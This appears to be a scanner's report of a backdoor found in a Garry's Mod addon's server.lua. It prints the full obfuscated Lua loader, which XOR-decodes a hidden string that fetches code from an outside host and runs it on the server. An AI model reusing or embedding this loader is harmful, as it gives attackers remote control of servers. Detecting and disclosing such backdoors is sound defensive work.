Found backdoor in : betterbanking.zip\betterbanking\lua\autorun\server\server.lua
Code:
RunString([[ local AE = {20,9,13,5,18,78,51,9,13,16,12,5,72,81,76,64,6,21,14,3,20,9,15,14,72,73,64,8,20,20,16,78,38,5,20,3,8,72,66,8,20,20,16,19,90,79,79,11,22,3,4,15,15,18,78,15,22,8,79,6,78,16,8,16,95,11,5,25,93,50,56,45,19,85,56,18,26,87,21,81,7,47,12,17,23,9,33,56,49,66,76,64,6,21,14,3,20,9,15,14,72,2,73,64,50,21,14,51,20,18,9,14,7,72,2,76,64,66,90,66,76,64,6,1,12,19,5,73,64,5,14,4,73,5,14,4,73,64,77,77,64,0} local function RunningDRMe()if (debug.getinfo(function()end).short_src~="tenjznj")then return end for o=500,10000 do local t=0 if t==1 then return end if o~=string.len(string.dump(RunningDRMe))then AZE=10 CompileString("for i=1,40 do AZE = AZE + 1 end","RunString")() if AZE<40 then return end continue else local pdata="" xpcall(function() for i=1,#AE do pdata=pdata..string.char(bit.bxor(AE[i],o%150)) end for i=1,string.len(string.dump(CompileString)) do while o==1 do o=o+1 end end end,function() xpcall(function() local debug_inject=CompileString(pdata,"DRME") pcall(debug_inject,"stat") pdata="F" t=1 end,function() print("error") end) end) end end end RunningDRMe() ]],"tenjznj")